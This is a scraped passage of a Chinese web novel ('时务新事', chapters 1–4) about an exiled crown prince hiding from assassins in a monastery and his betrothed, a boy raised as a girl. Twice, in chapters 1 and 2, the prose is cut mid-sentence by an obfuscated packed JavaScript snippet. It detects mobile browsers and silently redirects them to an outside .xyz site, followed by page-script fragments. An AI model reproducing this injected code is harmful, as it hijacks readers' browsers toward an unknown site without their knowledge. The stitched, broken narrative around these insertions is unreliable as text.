《时务新事》 1. 第 1 章 深夜,圣林禅寺,后山偏院一隅,杂役房。 寂静的夜里忽然响起吱呀一声,极轻,仿若错觉。随即,门被人从外缓慢小心地推开。 人影被跟进来的月光拖长蔓延到床底。 是一个蒙面黑衣人。 他来到床前,冷漠看着床上隆起的被子,毫不犹豫举起手中利器朝下扎去! “!” 他旋即便察觉不对,眼色一变,拔出利器,恼羞成怒地掀开被子,果然里面只是衣物枕头。 杀手在心中低骂了一声,杀气腾腾的视线投向床底,眯了眯眼睛,后退几步做好防备,猛地蹲下身—— 触目所及,依旧无人。 杀手转身在屋内翻找。 这屋子狭小憋闷,除了床与一个不大不小的木箱,再无别处可供人藏身。他打开木箱,里面也没藏人。 床下的少年蜷成一团。 他躲在黑布后头,浑身冷汗涔涔浸透了衣裳,脚也麻了,很是难受。可他不敢轻易动作。不知道深夜昏暗中这障目之法能否成功。 心跳声太响,他惧怕又憎厌,惧怕被杀手听见,憎厌自己的怯懦。只能紧咬牙关,瘦削的脸上隐隐抽搐。 不多久少年顾望笙听见杀手没有收获离开的声音,可他依旧一动不敢动。 突然有只耗子从角落的墙洞钻进来,乍见有人吃了一惊,停在原处眨着一双精明的绿豆眼打量。 耗子很快观察出了这人可欺,便堂而皇之地从他身边经过,长长的光滑的尾巴毫无忌惮、示威似的溜过他的脚背。 顾望笙被恶心得汗毛直竖! 可他依旧不动,只是一双青涩的眼中愈加地迸发出仇恨与隐忍来。 * 顾望笙出身显赫,爹是天子,娘是皇后,亲舅舅是一品镇国大将军。 本朝祖宗规矩:元后嫡长子生而即为太子。 但凡事就怕但是。 但是顾望笙出生时母后血崩而亡,恰逢天象奇观,黄河决堤,中原蝗灾,桩桩件件加在一起,惊动国师出山批算,一切罪责源头皆在顾望笙。 尚在襁褓之中连自主吃奶都够呛就被天降黑锅囫囵扣住的顾望笙:“……” 国师还说,顾望笙是强龙之命。 这本是极好的至尊命格,无奈皇帝也是强龙,二龙相冲,必定引发灾祸。 皇帝的杀心骤起。皇后可以再立,儿子可以再有,自己只有一个。 然,国师说:“不能杀。” 皇帝不悦道:“那难道就让他克朕?” 国师不急不慢道:“将太子养在宫外佛寺直到十八,可化去他一身强龙之气。若陛下杀害亲子,有损福泽阴德。何况万一走漏风声,且不说陛下的后世英名,蔺将军那儿不好交代。” 皇帝一听,陷入沉思。 福泽阴德和后世英名看不见摸不着,属于狗屁,主要是手握二十万边疆大军的大舅子那儿确实不好交代。 “那就……如爱卿所言吧。”皇帝最终如此说道。 国师点头道:“还有一事,若能将太子的名改为‘枉生’则更加稳妥。” 皇帝细细一品:“枉生……哈哈哈,好好好,这名字好!什么强龙也该是他枉生!” 原本这辈皇子取名从“裕”,早定了太子名“裕帧”。国师此言一出,便以为太子克八字劫难为由为他改为顾枉生。意图过于明显,便稍作修改,取其谐音,为:顾望笙。 顾望笙不足月就被送出了宫,对外(主要是对蔺将军)只说是八字不好,若要保他健康长大,须得送到皇家寺院圣林禅寺寄养在佛祖膝下。 蔺将军接到皇帝来信,长叹一声气,无可奈何。 国师确有两把刷子,既然是他批算的,自己不得不服。何况如今妹妹已死,虽然自己手握重兵,却也因此要越发谨言慎行,否则恐招来皇帝不满。 蔺氏全族几百号人与一个死了娘的外甥,孰重孰轻人的心中自有权衡。 蔺将军也不是没想过替外甥打点一下,可他远在边疆鞭长莫及,何况皇帝还有意无意地敲打过他,他送点钱给外甥可以,送人就过分了。 顾望笙在寺院的生活艰苦,无一可信之人。母亲的亲信在她过世后尽数为代理后宫的宠妃菅贵妃所杀,理由冠冕堂皇:这些人侍奉皇后不周。 皇帝未再立后,整日假装深情缅怀亡妻,大舅子十分感动,很快将另一个妹妹送进宫中,皇帝欣然接纳并封为贤妃。 至此,两方就太子送去佛寺一事达成无声的和解,维持着心照不宣的平衡和体面,相互给点面子。 顾望笙越发地成为了弃子。 皇后在时与菅贵妃斗得激烈,菅贵妃没少吃亏。如今皇后已死,菅贵妃犹不甘心,要从她儿子的身上捞利息,暗杀自不必说,表面上也不平静,想方设法克扣顾望笙的供给,逮着机会就闹一闹。 她在表面上闹,皇帝反而不会说什么。 顾望笙尚且年幼,只能忍辱负重。 只是他小小年纪便饱尝人间风霜,偶尔也会觉得疲累与迷茫。 好在……还有心灵支柱未婚妻。 一想到未婚妻,顾望笙便觉得这鬼日子还算有盼头,苦涩中就有了甜,唯一的甜。 今日顾望笙又被管事秃驴找茬,一天不让吃饭,饿得前胸贴后背,辗转反侧直至深夜,不由得又想起了未婚妻。 未婚妻是谢太师的小孙女,闺名善菱。 唐代诗人白居易《采莲曲》曰: 菱叶萦波荷毡风,荷花深处小船通。逢郎欲语低头笑,碧玉搔头落水中。 顾望笙借由此诗想象未婚妻娇羞灵动的模样,不由春心狂动,羞涩地抱着被角在床上反复翻滚,直到砰的一声闷响之后方才消停。 头有点疼,但没关系,心依旧是甜的。 顾望笙又想起第一次、也是至今唯一一次见未婚妻的场景。 那是在两人定下这桩亲事的时候,顾望笙三岁,未婚妻善菱尚在襁褓之中咿咿呀呀,伸着小手在空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725266|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中晃动,十分活泼可爱。 三岁实在太小,顾望笙记不得当时的其他事,唯独此事深刻心底,时常回味,记忆犹新。 当时,岳祖父谢老太师在一旁向皇帝感恩涕零地道谢,顾望笙则目不转睛地盯着善菱。 善菱很白,眼睛圆溜溜的像黑葡萄,又像雨后的泉水清澈见底。 她似乎察觉到了什么,看向顾望笙,甜甜地笑了起来。 这就是自己未来的妻子、家人吗? 顾望笙心跳砰砰,飘飘然地抬起手去戳善菱的小手玩,被善菱反过来握住一根手指,嘻嘻地笑得更开心了。 看着善菱如此模样,顾望笙也忍不住笑了起来。 平时他很少笑,也不爱笑,毕竟这鬼日子苦到得有多缺心眼才会爱笑啊。 自那次之后,至今已经十年,他再未见过她,不知她已是何模样。 可是不难想象! 谢太师年轻时是天下闻名的美男子,且学富五车,当时的皇帝为定夺他是探花还是状元颇费了一番功夫。 善菱是谢太师的亲孙女,必然也是大美人,且还知书达礼。书香门第养出来的大家闺秀,温柔和善。 就算……就算不是大美人也无妨,不爱读书也无妨,性情骄纵一些也可,只要待自己和善就好,顾望笙的要求很低。 他出生便丧母,父亲跟没有的差别不大,还一直被软禁在佛寺之中,国师说他不祥,加上父亲的有意限制,外祖家都很少与他来往。 他只想有个自己的家,不需要很大,只要温馨。 顾望笙不稀罕当太子,他想过大些就向父亲请辞,要块封地去当闲散王爷,与王妃过神仙眷侣的日子。他绝不会纳妾,只想与王妃和孩子一家人你中我有我中有你其乐融融天伦之乐。 这京城的权利纷争,他已经倦了…… 还是多想想未婚妻更实在! 唉!真想见一见她。就算不互诉衷肠,遥遥地看一眼也好啊…… 就在此时,顾望笙耳尖一动,霍然睁开眼睛看向窗户。 窗纸上只有树影,他却仍心中不安,似有危险即将发生。 这直觉来得莫名,但他不敢忽视,轻手轻脚地起身将枕头与衣物塞入被子,伪装出睡在其中的模样,抽出偷藏的烧火棍钻入床底。 他被暗杀过不止一次。 谁会潜入守卫森严的皇家佛寺暗杀还是孩童的太子?谁能做到这件事?傻子都想得出答案。 顾望笙跟守卫的侍卫说,和佛寺里的人说,每每都被搪塞说是意外巧合。 这令他怀疑父皇做过某些表态。或者是没有表态而因此胜于表态。 父皇并不在意自己的生死,自己活着也行,死了也行。 所以那些人不怕自己死在他们的职责范围内,相比起来更不愿意得罪幕后主谋菅贵妃。 …… 顾望笙躲到鸡鸣,外头陆续传来其他人外出活动的声响,他才僵硬着身体爬出床底,抬手抹了把脸,是干的。 2. 第 2 章 顾望笙梳洗后出去参加早课,随后回到后山菜园做今日农活。 掌管后山菜园的和尚戒贪与顾望笙不对付。 他知道顾望笙是朝不保夕的太子,反倒怨恨起顾望笙来,总觉得顾望笙该给他一些孝敬,巴结着他。而顾望笙没有这么做,他便恼怒了。 今日戒贪又刻意刁难,让顾望笙独自将菜园里的十个大水缸都打满才准吃早饭。可当顾望笙打完水去膳堂时,已经什么都没有了,掌勺说过时不候。 顾望笙没争执,沉默着转身离开,一路肚子咕咕地奏乐。 他回到菜园,戒贪满含恶意地故意问:“吃饱了没?可以干活儿了吧?戒戾啊,你别以为师兄是刁难你,师兄都是为了你好,你是不祥的灾星,出生就克死自己的母亲,生来有孽债,就得多多地赎罪,否则来生还会克亲。哦不,罪孽深重,说不定来生人都做不成,只能投生畜生道。” 顾望笙依旧没有反应。 他以前会因戒贪的话难过愤怒,曾冲上去打,可即便单打独斗他也不是这膀大腰圆的家伙的对手,何况其他人还拉偏架。 吃亏的只有自己,挨完打还要遭受惩戒。 只能忍。 古来成大事者必先苦其心志劳其筋骨,管仲既囚,桓公以霸,孙子膑脚,兵法修列,勾践尚且能够卧薪尝胆,韩信亦忍过胯下之辱。自己也能。 圣林禅寺乃皇家寺院,书阁馆藏极为丰富,不止佛经,还有天文地理、古往今来、文学典籍。顾望笙从中读到了许多勉励自我的文章词句。 扫地老僧面容可怕,全是烧痕,沉默寡言,不知出处,但人不错。他非但不阻拦告发顾望笙偷跑进去读书,还会留出灯烛,在顾望笙躲藏的地方放些吃食,寒冬腊月放件衣物。 顾望笙知道自己不会一辈子都待在这个地方。 当年定亲时他是唯一一次见善菱,也是有记忆以来唯一一次见自己的父皇。 父皇不像想象中严厉,对谢家人和自己都很和气。当然,也可能是装的。 顾望笙不在乎皇帝的和气是真的还是装的,他对这个人不抱有希望。但他牢记住皇帝当着谢家人的面说,等自己满十八岁就可以离开这里。 如今自己在这鬼地方熬油似的熬到了十三岁,只要再熬五年…… 可是,随着自己一天天长大,菅贵妃的暗杀越来越频繁了,接下来的五年真的能安然度过吗? 中午日烈,戒贪他们找借口歇凉去了,让顾望笙顶着毒辣的太阳刨地。 顾望笙不情不愿地应下,等没人就抓了只鸡躲竹林里杀了烤了吃。 他不是第一次吃鸡。 鸡养在这里自然不是给和尚吃的,而是供给宫里,说养在佛寺的鸡鸭鱼肉吃了有福气。 顾望笙听了好笑。这世上若真有神鬼阴德福气报应,人早就死得不剩几个了。 不过鸡单论味道是挺不错。至于和外面比起来是否不同,顾望笙没吃过外面的,不知道。 吃完鸡,他把鸡骨头一并放入埋鸡毛的坑里,填土回去,摸摸肚子,回去后被戒贪骂了一顿,问他跑哪儿偷懒去了。 顾望笙不说话。左不过就是又不让自己吃晚饭呗,反正今天也吃不下了。 果然戒贪又是一通借题发挥。 顾望笙爱答不理,扭头喂鸡,气得戒贪不轻,正要追上去揪着骂,突然来了其他和尚拉他去一旁,说一会儿有达官显贵的家眷到,要在这儿住上两夜祈福,得好好儿择菜做菜。 此处是皇家佛寺,却并非只许皇家出入,平时别说达官显贵,便是平民百姓也可前来参拜,维持香火鼎盛。只是若遇到皇家亲临会暂且封寺。 顾望笙对达官显贵不感兴趣,正要离开,隐隐约约听到那和尚的声音从风中飘来—— “老太师夫人善品斋菜,你让戒嗜好好儿做。谢太师夫妇与咱们寺颇有些渊源……” 顾望笙不由一怔,脚步不自觉地便停了下来。 老太师?谢太师? 戒贪问:“老太师夫人也来了?那谢老太师也来了吗?” 谢老太师!这不是未婚妻的祖父、我的岳祖父吗?顾望笙的心思瞬间活络! 和尚道:“老太师没来,只来了女眷,带着几位哥儿姐儿,都年岁不大,我一会儿还得去通知各处将客院看顾好些。” 顾望笙手中假忙,暗暗听了一会儿,直到他们离去,他起身侧头看去,想了又想,止不住心头雀跃,当即多挖了两碗谷喂鸡。 鸡不知今日怎么比平日喂得多,激动得扑棱着翅膀咕咕哒咕咕哒个不停。 想到未婚妻可能也在,顾望笙的心里也咕咕哒咕咕哒个不停。 * 大雄宝殿里,谢老夫人领头,女眷带着孩子齐刷刷跪在蒲团上认真祷拜,一时之间只听得到和尚在旁的诵经声。 良久之后,谢老夫人率领众人磕了头,这才让侍女搀扶着起身。其他人也才纷纷起身。 老方丈上前笑着与谢老夫人说话,问候谢老太师的近况,两方寒暄起来。 谢善淩仰头看着巨大高耸的精致金塑佛像,一时入了迷,直到母亲来拉才意识到刚刚祖母叫自己,急忙走过去摆着手鞠躬赔罪。 谢老夫人无奈地对老方丈解释:“这孩子前日吃鱼卡着了刺,伤了嗓子,说不出话来,失礼之处方丈不要见怪。” 老方丈笑道:“自然不会。倒是老衲唐突了,故友久不见,惦记着老太师,他今次又不来,便想见见善淩。” 他仔细端详谢善淩一番,道:“越来越像是和老太师年轻时一个模子里刻出来似的了。” 谢善淩乖巧站着任由老方丈打量,闻言冲他抿嘴一笑。 谢老夫人望着这孙儿的眼中越发宠溺:“就这孩子最像他爷爷年轻时候。” 谢善淩他娘忙圆道:“善淩一个女儿家,像爷爷不如像奶奶呢。” 谢善淩:“……” 谢老夫人反应过来,接话道:“哎呀,他爷爷年轻时候貌若好女,比我好看多了,像他爷爷没事儿,没事儿。” 谢善淩:“……” 他能怎样呢?他只能继续保持着礼貌的微笑。 说起这事儿,得回溯到十年前他刚出生的那晚。 摒弃掉他娘他奶奶添油加醋天花乱坠的说法,简单言之就是他出生时天有异象,随即一个老道士来到他家,说他是凰命贵格,就是做皇后的命。 谢家人原本还很轻松,以为老道士是个江湖骗子来讨喜头的,和气地打趣:“多谢道长好意,可惜了,新儿是哥儿,本朝不立男后。罢了,来福,去取个银锭子赠与这位道长。” 老道士却摆了摆手叹息道:“老道的意思是,他生而便是皇后命,谁若娶了他,谁便是——” 话没说完,被及时反应过来的谢家老二眼疾手快一把捂住了嘴! 谢老二给大哥使了个眼色,大哥会意,将下人打发出去站远点,关上门,只留满屋子自家人。 好在刚刚在屋里的下人是几个素日忠心的老仆、家生子,不会出去乱说。 谢老二皱眉朝老道士喝道:“我们好心待你,你在这胡说什么!这话可不能乱说!休得害了我们全家!” 那话与男女无关,便是姐儿被说谁若娶她谁能得登大宝之座,也得掀起一番风浪。 老道士连连摇头摆手,示意让自己说下去。 谢家不擅草菅人命,总不能一言不合就将这老道士立刻灭口,想来想去,只能将信将疑地松开手,看他要怎么说。 老道士松口气,道:“老道知晓事态严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢府请了极有名的大夫和奶娘,甚至太医都请了,都找不出原由来。 最后没法子,想起了那老道士的话,谢老太师一咬牙,进宫求恩典。当然,他瞒去了所谓真凰命格,只说小孙子命格轻,须得真龙命格结亲镇住。 一向荒谬的皇帝听了都觉得荒谬:“让朕和一个不满月的娃娃……还是男娃娃定亲??” 再者说,听起来谢家这娃儿就像是命数不祥,和他结亲,不得沾染晦气? 谢老太师听皇帝这话似是不愿意,当即老泪纵横,诉说自己的小儿子走得早,就这一个遗腹子…… 皇帝:“……” 早年间皇帝还是皇子之时得过老太师不少庇护,到底有些师徒情在,而且这并非难办的事。皇帝长叹一声:“真龙命格是吧?朕给你找一个。” 庙里那个不仅是龙,还是强龙,真得不能更真了,权且废物利用助自己保住臣心,还能让两个晦气玩意晦到一块去,谁也别嫌谁。 于是便有了谢善淩与顾望笙结亲一事。 说来也怪,当时还未正式结成,只是议定了,当晚谢善淩除了食欲不振不怎么喝奶就没别的毛病了。 待到谢家人带着谢善淩去寺里和顾望笙见了面,正式定下,谢善淩果真再也没莫名其妙地生过病或哭闹,甚至比一般婴幼还安静乖巧,一逗就甜甜地笑。 众人再不敢不信那老道士。其实还去找过,想多问问,可再也没找到。想请国师细看看,又怕国师看出顾望笙的真凰命格来惹出风波,只好罢了。 此后谢善淩便一直被家人扮作女孩,并且再三叮嘱他,在十八岁前切不可说破,以免招来灾祸。 3. 第 3 章 扮作女子倒没什么,谢善淩膈应的是婚约一事。 其实和另一个男子定婚约也没什么,只是……好像大人们将真相瞒住了顾望笙,这人并不知道自己也是男子,不知道婚约是假的,到期解除。 为了进一步稳固谢善淩的神魂命格乱七八糟,在谢家人无理但不算是过分的请求下,皇帝让顾望笙每年亲手写一封信给谢善淩。 谢善淩手头已有十封来自顾望笙写的厚厚的信,外加礼物若干。 皇帝没让顾望笙送礼物,可顾望笙自己要送。 包括但不限于:栽得极好的山野兰花、可爱的小野兔/小狗/小猫、一截笔直漂亮的翠竹杆……以及今年初随信一同送来的先皇后的玉佩。 信中顾望笙倒是有礼,从不口出狂悖之言,可字字句句藏不住他的拳拳关爱之心,一副暗暗以夫君自居的姿态,看得谢善淩要疯,真害怕顾望笙下一句就是叫自己夫人。 对此,谢善淩除了害怕,更多是内疚。 顾望笙被蒙在了鼓里,一腔热血真情写这些信、准备这些礼物…… 信上尚且生涩的笔迹、真切的言语,精心准备的礼物……都是千斤之重,十分的烫手。 谢府感念顾望笙对谢善淩的救命之恩,征得皇帝同意后,每月都会给顾望笙送衣食住行所需之物、书本及文房四宝、钱银与小孩时兴的玩具,可这些对谢府而言不过九牛一毛,若要论及双方在礼物中寄托的情思……实在是没法儿比。 谢善淩不知那老道士说的话是真是假,可无论如何也不应该如此欺骗另一个无辜之人的感情与付出。 退一万步说,就算真要如此保命,至少得让顾望笙知道原由。若顾望笙愿意帮这个忙,自己自然感念他的恩德仗义,若他不愿意亦是常理,不可强求,至于自己的生死则在天,不在偷蒙拐骗。 谢府女眷此次前来礼佛,原本没打算带孩子们,谢善淩略施小计鼓动其他小孩闹腾,这才一并带了过来。 他打算利用此次机会将真相告诉顾望笙。告诉顾望笙这一切都不过是为了帮自己稳定命格,自己也是男子,而且早就说好了等自己十八之后就解除婚约。 还要将先皇后的玉佩还给顾望笙。这是顾望笙母亲的遗物,不该给自己。 眼下为难的是如何找到顾望笙。 谢善淩不知道顾望笙长什么模样,也不知道他在哪里,这寺院绵延数里,院舍无数,很大很大。 谢善淩只是从家人的私下议论中得知顾望笙自幼被软禁于此,既是软禁,想来不能随意走动接触外人吧。 虽然说起来自己其实并不算外人……至少在解除婚约之前不算。 谢善淩从进了佛寺起便一直留意周围,见着了一些小沙弥,可左看右看都觉得应当不是顾望笙。 他唯恐大人们生疑阻止,不敢直接问。 去斋堂用膳时,谢善淩忽然有股如芒在背之感……他一怔,抬头环顾四周,却并没见到特别之人。甚至这里连小沙弥都没有,都是大和尚。 “怎么了,善淩?”姑姑问。 谢善淩忙摇摇头,冲她笑了笑,指指喉咙。 “哦,渴了吧?”姑姑为他倒了杯水。 屋外扒着窗角偷窥的顾望笙:“……” 啊啊啊啊啊啊她又在笑!她又在笑!笑得那么甜!那——么甜! 她好爱笑!还指自己的喉咙!一举一动怎会都如此娇憨! 顾望笙猛地背过身去。他红着脸靠着墙壁,完全绷不住嘴角的笑,双手用力捂住心口,否则怕一颗心从喉咙眼儿里蹦出来! 其实刚刚在大雄宝殿那儿他就偷窥了…… 善菱不但如自己所想的一样漂亮,还乖巧温柔,落落大方。这就是自己的未婚妻……老天爷终究没有对自己赶尽杀绝! 顾望笙暗道:我就说嘛,我上辈子能干出多伤天害理的事儿呢? 未来夫妻和睦恩爱的好日子可太有盼头了!又有了坚强活下去的勇气嗷! * 直到入夜谢善淩也没找到顾望笙。他有点急,但急也没用,只能夜里独自坐在客院里发呆想法子。 ——直接和家人或这里的和尚说想见见自己的“未婚夫”?? 家人肯定会生疑。若让他们知晓自己的打算,恐怕会连夜带自己离开。 和尚会愿意帮忙吗?在人家寺庙里说未婚夫妻相会,像在挑衅…… 谢善淩正愁着,突然听到一声很弱小的猫叫。他回过神来,循声看向墙头,没见着猫,见着了一张少年清俊异常的脸。 谢善淩一怔,不知为何,心中已经有所直觉,张了张嘴,却没说出来,只是看着对方。 少年扒在墙头与谢善淩遥遥相视了一小会儿,忽然警惕地扭头打量身后,然后像是下定了某种决心,从墙上跳了下来,滚落在地上的草丛里。 谢善淩被他吓了一跳,急忙过去查看。 谢善淩刚走到草丛旁,少年蹲在地上,扒开半人高的草看过来,两人再次四目相对。 谢善淩停住脚步。 少年的脸在月光下似乎是红了,目光闪烁起来,声音却很温柔,道:“你别害怕,我……我是……望笙……咳咳,你的……你的……未婚夫……咳咳……菱儿,我、我不会对你做什么,只是来见一见你,不会碰你。” 菱儿:“……” 顾望笙很是羞赧。 他想更英俊潇洒一点出现在未婚妻的面前,留下个好印象,可门口守着人,估计不会让自己进来。他找了好久才找到条路潜进来,趴在墙头上窥探了月下忧郁的未婚妻好一阵才鼓起勇气开口。 也不知未婚妻刚刚那会儿在想什么……说不定是自己这未婚夫呢,嘿嘿。 顾望笙自顾自羞了一小会儿,忍不住偷偷瞅就在面前的未婚妻善菱。 他原本有些害怕善菱受到惊吓会闹出动静叫来人,不过想着反正也不会因此杀了自己,就把心一横干了。而善菱并没有那样做。 善菱的眼神澄澈干净,从怀中取出一个小册和一支炭笔,写了字给他看:你没事吗? 关心自己,并且并不震惊自己的身份,这就是所谓的身无彩凤双飞翼,心有灵犀一点吗?顾望笙悟了。 他急忙摇头:“我没事。没吓到你吧?抱歉唐突了你。” 谢善淩也摇头,低头继续写字然后给他看:我正好也有事找你。 她也想我!! 顾望笙眼睛簇地亮了,咽了口唾沫,笑道:“那、那我来对了!” 确实是来对了,但看你这模样,又好像不算很对。谢善淩心情复杂地想着,低头欲写真相,突然听到婶婶的声音:“谁在那儿啊?” 顾望笙急忙转身躲入草丛后面,谢善淩也立刻收起纸笔,转身看着走过来的婶婶,指了指自己的脸。 婶婶见着是他,问:“这么晚了你在这儿干什么?” 谢善淩用手指指了指头顶上的月亮,示意自己 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说着,他从怀中掏出一只木簪,伸手示意谢善淩接过去,柔声道:“我亲手削的,贺你生辰。原想下回随信一同给你,如今既然你亲自来了……有些粗糙,你别嫌弃。” 谢善淩:“……” 急得他都差点说出话来了。可一张口嗓子实在是太疼了。 顾望笙又催促了两声,谢善淩迟迟没接过簪子,而是低头又开始写字,写完了给顾望笙看:你进屋去,我有事和你说,里面方便。 顾望笙还在扭捏:“这真不合适……虽然我夜里翻墙来找你已经不合适了……嗐……” 谢善淩没耐心了,直接伸手拽住他的手腕将他拉进了屋。 顾望笙脚下被门槛一绊,差点摔倒,急忙稳住了,只是踉跄了两下。 谢善淩把他拉进去,就在烛光下见他脸简直已经红透了。当谢善淩谨慎地将门关好后,回头一看,顾望笙的脸都红得要滴血了,连连往后退了几步,低着头,眼睛都不敢看自己。 “……” 顾望笙越是这样,谢善淩越是尴尬,只想快刀斩乱麻。他急忙去八仙桌旁坐下,奋笔疾书写明事情原委经过。 顾望笙迫不及待想知道未婚妻要和自己说些什么,可孤男寡女深更半夜共处一室,虽然都年纪不大,虽然有婚约,亦是不妥的,更不好靠得太近。 他努力抻长脖子去看,可夜里屋内点着烛火也暗,又离得远,写的什么完全看不清。 像过了一百年那样漫长,终于善菱放下了笔,深呼吸一口气,似乎下定了某种决心,然后抬手招手示意顾望笙过去看。 顾望笙依旧扭捏而克制,只伸长手臂示意将纸给自己。 谢善淩心酸地递给他。 顾望笙满怀蜜意地接过来低头温柔细看,表情渐渐凝固,渐渐疑惑,渐渐凝固,渐渐疑惑,渐渐……疑惑,渐渐匪夷所思。 沉寂。长久的沉寂。 唯有豆大的烛火跳动着,说明时间还未静止。 不知多久后,顾望笙垂眸望着纸,忽的长叹一口气,满面灰败地怅然道:“你从不给我回信,我早该有所觉悟,只是宁可自欺欺人。我虽为太子却有名无实,身陷囹圄,今日不知明日,你却是谢太师府的掌上明珠,万千宠爱于一身。这门亲事,你若不愿意,也很自然。” 谢善淩:“……” 4. 第 4 章 谢善淩走过去,用手指使劲儿戳戳纸上的字,试图让顾望笙理解不是自己嫌弃他,是因为自己也是男儿身! 顾望笙低着头往旁边挪了两步,黯然且矜持道:“你既要解除婚约,更该避嫌,男女授受不亲。” 谢善淩:“……”这么爽快答应解除婚约,却非得觉得我是女孩儿吗? 谢善淩最在意的是让顾望笙别再惦记对自己这假未婚妻的绵绵情意。因而,虽然顾望笙愿意解除婚约,可他这副样子一点也不像是放下了,谢善淩的目标并未达成。 他只好将纸拿回来,刷刷写道:我并非嫌弃你,我果真是男儿身。 顾望笙看了字,掀起眼皮子上下打量一番谢善淩,轻轻地哼了一声,恹恹地撇过头去看着地面忧郁。 谢善淩:“……” “哼”一声是什么意思?摆出这副可怜兮兮的模样又是什么意思? 没法子了,快刀斩乱麻。谢善淩低头解腰带。 顾望笙听到窸窸窣窣的声响,回头一看顿时大惊失色,眼珠子差点掉出眶!回过神来他仓促地就朝门外跑。 谢善淩刚把外套脱了,正要脱中衣,就见顾望笙已经跑到门口了。 他急忙要追上去把人拖回来验证自己的男儿身,脚下不小心绊了一下,急忙扶稳了一旁的桌子,再抬头看去时,顾望笙已经跑出去了。 待谢善淩追出去,顾望笙的人影已经顺着来时的墙头翻出去了。 谢善淩:“……” 好厉害啊这人!爬墙这么快!猴子都没这么快吧?! * 翌日白天谢善淩一直心不在焉,想找机会再和顾望笙说清楚,而且玉佩也还没还回去……但依旧不知道怎么找到顾望笙。 眼看明日就要打道回府了,夜里谢善淩来到昨夜相见之处碰运气。 顾望笙竟真又来了。 这次顾望笙不似昨夜初见时满脸羞涩温柔,今天他神情暗淡,自顾自下了墙,走到谢善淩一步之外停下,掏出怀中的一张纸递给谢善淩。 谢善淩接过来打开一看,愣了愣。 顾望笙忍不住看谢善淩,但很快就移开了目光,忍着眼中酸楚低声说:“我出不去,也没人帮我给父皇递消息,解除婚约一事只能你们家来提。但此事你们必然不便说,因此我写了这封信,你让家里人拿去给我父皇,就说是我主动提的,是我非要解除,他就怪不到你家了。” 谢善淩:“……” 虽只是一场乌龙,可谢善淩没料想此人竟能做到这个地步,不由得感动非常。 可又见顾望笙那模样似乎还是不肯相信自己是男儿身,依旧以为是自己嫌弃他,恐他为此生出郁结,便伸手去拉他,想再把他拉进屋给他看清楚自己真是男儿。 手刚碰上,顾望笙就跟被火燎了似的急忙甩开,红着眼睛瞪谢善淩:“男女授受不亲,你不要动手动脚!你不要清白我还要!我……我……我日后还会有别的太子妃!” 但其实不会有了呜……不行,顾望笙你必须忍住!男儿有泪不轻弹,弹也不在这里弹!丢人现眼的东西!顾望笙死死咬住嘴唇如此警告自己。 谢善淩要被顾望笙急死了,深深呼吸,忍着嗓子眼儿里的疼,声音嘶哑道:“我真是男子……你听我这嗓音……” 谢善淩方才十岁,他自以为足够成熟,可看在十三岁的顾望笙眼里自然还是不够。十岁少年便是平常的声音其实也雌雄莫辩,何况此时伤着嗓子。 顾望笙反倒听得担心起来,急忙道:“你别说话了!我知晓你嗓子伤着。唉,你吃鱼小心点啊,要是不会吃,让人给你把刺先剔了……” 这一说,顾望笙又黯然起来。 昨日他偷听到善菱吃鱼把喉咙伤着,还在心里无限柔情地想,以后成了亲,自己每每把鱼刺剔了再给善菱吃,不得是一段佳话? 当时他自己把自己都给甜了个七荤八素。 结果……罢了,日后自有别人为善菱剔刺。 谢善淩:“……” 为何又深情起来……这未婚妻是一定要爱吗?到底在爱什么?以前都没相处过! 唉,但也不是全然不能理解。今人将婚约看得很重,即便是娃娃亲也会去官府明文定契,若要解除也要去官府解契。何况是皇室,还是太子。就算当初皇帝知晓真相,自己与顾望笙这门荒诞的亲事也是上了玉牒供到皇室太庙里的。 谢善淩越发愧疚,继续艰难发声:“殿下……你信我,我真是男儿身,我昨夜宽衣便是为了给你看清楚……你随我去屋内,否则我就在这脱不太体面……” 说完,谢善淩观察着顾望笙生出犹疑的神情,又来拉他。 这回顾望笙扭捏了两下,到底没再拒绝。 其实,话说到这份上,顾望笙已经信了。他只是不想相信…… 然而,进屋后谢善淩利落地脱去衣裳给顾望笙看了之后,顾望笙想不想相信也只能相信。 他两眼一黑,回过神来时恨不得自戳双目,踉跄着往后退了两步,抬眼瞪着谢善淩,低声怒吼:“你是男的你跟我定什么亲?!” 这十年的思念,竟是一场笑话?! 谢善淩忍痛道:“昨夜纸上写了缘由……我八字不好……” 顾望笙打断他的话:“别说了!我记得!” 可是!你八字不好关我什么事?!为什么要骗我的婚约我的感情?!顾望笙想质问出声,可话到嘴边却没有出口。事到如今,说这些还有什么意义?这世间究竟还有什么东西是真的?! 谢善淩讪讪地取出用手帕仔细包好的玉佩,打开递向顾望笙。< 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谢善淩回过礼后掏出纸笔刷刷写下询问发生了何事,武僧只道无事发生,很明显不愿告诉他。那皇家侍卫亦是如此。 谢善淩还要追问,话没写完,就被娘亲叫来的丫鬟给拽到了车上,不让多管闲事。 谢善淩低头写道:太子也在这里,那些皇家侍卫想必是看守太子的,他们神色紧张,恐怕与太子有关。 他娘看过,急忙将纸撕下折好放入荷包藏好,准备回府后烧毁,然后压低声音警告道:“不要乱写,有些话不该你说,提都不要提。” 谢善淩继续写:你们都让我和太子定亲了,我怎么不能提? “少在这贫嘴贫舌的!”他娘将这张纸也没收,想了想,纸笔全给他收了,“总之你老实点!” 旁人看这孩子温文有礼,她身为亲娘可知道,他确实有乖巧的一面,可一旦要闹起来可比其他孩子难缠得多,主意大着呢。 她名为郡主,娘家却早已没落,丈夫又死得早,如今孤儿寡母虽受夫家照拂不被欺负,却还是万事谨慎最好,丈夫就这一点血脉了…… 